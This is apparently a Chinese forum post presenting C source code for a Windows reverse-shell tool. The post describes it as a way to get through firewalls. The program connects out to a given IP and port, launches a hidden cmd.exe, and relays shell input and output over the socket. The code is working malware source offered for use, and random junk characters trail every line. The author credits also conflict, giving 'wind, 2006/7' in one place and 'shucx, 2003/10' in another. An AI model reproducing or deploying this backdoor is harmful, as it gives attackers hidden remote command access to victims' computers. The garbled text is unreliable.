这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HV3wU EI3
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Rebound port in Windows NT B7ys`eiB5C
By wind,2006/7 '\m\$
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#include ZG)C#I1;O
#include \No22Je6d
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#pragma comment(lib,"wsock32.lib") Dc>)j s|"
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void OutputShell();
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SOCKET sClient; `|JQ)!Agx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OaxE3bDT
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void main(int argc,char **argv) Df/f&;`
{ Vo2frWF$
WSADATA stWsaData; r3 {o_w
int nRet; w_J`29uc
SOCKADDR_IN stSaiClient,stSaiServer; "=!QSb
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if(argc != 3) TAYt:
{ Ip0@Q}^
printf("Useage:\n\rRebound DestIP DestPort\n"); 'E8dkVlI
return; s?K4::@Fv
} oB Bdk@
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WSAStartup(MAKEWORD(2,2),&stWsaData); WU,72g=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qXW2a'~
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stSaiClient.sin_family = AF_INET; { K0T%.G
stSaiClient.sin_port = htons(0); uJp}9B60_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g9"_ BG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tT#Q`cB
{ \ZDT=?
printf("Bind Socket Failed!\n"); .}y
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return; #WpO9[b>
} t_VHw'~"
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stSaiServer.sin_family = AF_INET; =yNHJHRA#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5BCaE)J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q}.y"|^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6k3l/ ~R
{ u!`C:C'
printf("Connect Error!"); ujWHO$uz!
return; gS|xicq!
} E:E&Wv?r
OutputShell(); Q#r 0DWo\
} &{=~)>h
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void OutputShell() 2nieI*[
{ q(p0#Mk,E
char szBuff[1024]; uN(~JPAw5
SECURITY_ATTRIBUTES stSecurityAttributes; -5 W0 K}
OSVERSIONINFO stOsversionInfo; B+DRe 8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l?1!h2z%
STARTUPINFO stStartupInfo; h{xERIV1u
char *szShell; t5Mo'*j
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PROCESS_INFORMATION stProcessInformation; yl ;'Ru:
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k51s*U6=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @!'H'GvA
stSecurityAttributes.lpSecurityDescriptor = 0; mfN@tMp
stSecurityAttributes.bInheritHandle = TRUE; QPcB_wUqu
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S+y2eP G
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MX0B$yc$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S%fBt?-Cm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EG.C2]Fi
stStartupInfo.wShowWindow = SW_HIDE; `@D4?8_
stStartupInfo.hStdInput = hReadPipe; yMkd|1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -*M:OF"Zh
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GetVersionEx(&stOsversionInfo); >[@d&28b%
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switch(stOsversionInfo.dwPlatformId) wcf_5T
{ SXz([Z{)
case 1: Q9>]@DrAx
szShell = "command.com"; [;AcV73
break; rtx]dc1m
default: 8!6*|!,:?n
szShell = "cmd.exe"; %Ab_PAw
break; l5ds`uR#
} Zwns|23n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b1]_e'jj
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send(sClient,szMsg,77,0); u(Sz$eV
while(1) )>5k'1
{ u/c3omY"#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]Hy PJ
if(lBytesRead) ]/Qy1,
{ <SZO-
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XSjelA?
send(sClient,szBuff,lBytesRead,0); 4"x;XVNM[
} iBC>w+t14
else QS*cd|7J;
{ X",0VO
lBytesRead=recv(sClient,szBuff,1024,0); f94jMzH9z
if(lBytesRead<=0) break; H<}eoU.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :&)/vq
} ld}$Tsy0
} A i){,nh`0
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return; ]GPJ(+5
}